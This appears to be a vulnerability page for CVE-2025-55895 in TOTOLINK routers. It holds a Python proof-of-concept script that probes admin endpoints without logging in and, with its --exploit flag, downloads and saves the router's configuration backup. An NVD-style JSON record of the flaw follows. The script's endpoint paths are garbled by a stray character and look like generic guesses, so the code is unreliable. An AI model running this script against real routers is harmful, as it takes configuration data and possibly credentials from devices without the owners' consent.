CVE-2025-55895

#!/usr/bin/env python3 # CVE-2025-55895 PoC - TOTOLINK Router Incorrect Access Control # Usage: python3 poc.py <target_ip> import requests import sys import argparse def check_vulnerability(target_ip): """Check if target is vulnerable to CVE-2025-55895""" target_url = f"http://{target_ip}" # Try to access admin interface without authentication endpoints = [ "/cgi-bin塞/luci/admin/network/network", "/cgi-bin塞/luci/admin/system/backup", "/cgi-bin塞/luci/admin/network/firewall" ] print(f"[*] Testing target: {target_ip}") print(f"[*] CVE-2025-55895 - Incorrect Access Control in TOTOLINK Routers") for endpoint in endpoints: try: response = requests.get(target_url + endpoint, timeout=10) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f" Status Code: {response.status_code}") return True else: print(f"[-] Protected: {endpoint} returned {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") print("[*] Target may not be vulnerable or is not a TOTOLINK device") return False def exploit(target_ip): """Attempt to exploit the vulnerability""" target_url = f"http://{target_ip}" # Example: Extract configuration without authentication print("[*] Attempting to extract configuration...") config_payload = { "action": "backup", "mode": "config" } try: response = requests.post( target_url + "/cgi-bin塞/luci/admin/system/backup", data=config_payload, timeout=10 ) if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS: Configuration backup obtained") print(f" Size: {len(response.content)} bytes") with open(f"config_backup_{target_ip}.tar.gz", "wb") as f: f.write(response.content) print(f"[+] Saved to: config_backup_{target_ip}.tar.gz") return True except Exception as e: print(f"[!] Exploitation failed: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-55895 PoC") parser.add_argument("target", help="Target IP address") parser.add_argument("--exploit", action="store_true", help="Attempt exploitation") args = parser.parse_args() if check_vulnerability(args.target): print("\n[*] Target is VULNERABLE to CVE-2025-55895") if args.exploit: exploit(args.target) else: print("\n[*] Target appears to be patched or not vulnerable")

{"cve": {"id": "CVE-2025-55895", "sourceIdentifier": "[email protected]", "published": "2025-12-15T21:15:59.057", "lastModified": "2025-12-17T19:21:10.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TOTOLINK A3300R V17.0.0cu.557_B20221024 and N200RE V9.3.5u.6448_B20240521 and V9.3.5u.6437_B20230519 are vulnerable to Incorrect Access Control. Attackers can send payloads to the interface without logging in (remote)."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*", "matchCriteriaId": "DD39B647-3419-4C6D-A6A2-30F40822A27D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F723A73-4B32-4F9E-B5DA-80134D4711C1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:n200re_firmware:9.3.5u.6437_b20230519:*:*:*:*:*:*:*", "matchCriteriaId": "BE18B5F5-6570-42C0-B470-F67D5FBEC439"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:n200re:-:*:*:*:*:*:*:*", "matchCriteriaId": "9FF7FF59-DB13-4FEA-A81C-124048BF1676"}]}]}], "references": [{"url": "https://github.com/l0tk3/CVES/blob/main/CVE-2025-55895.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}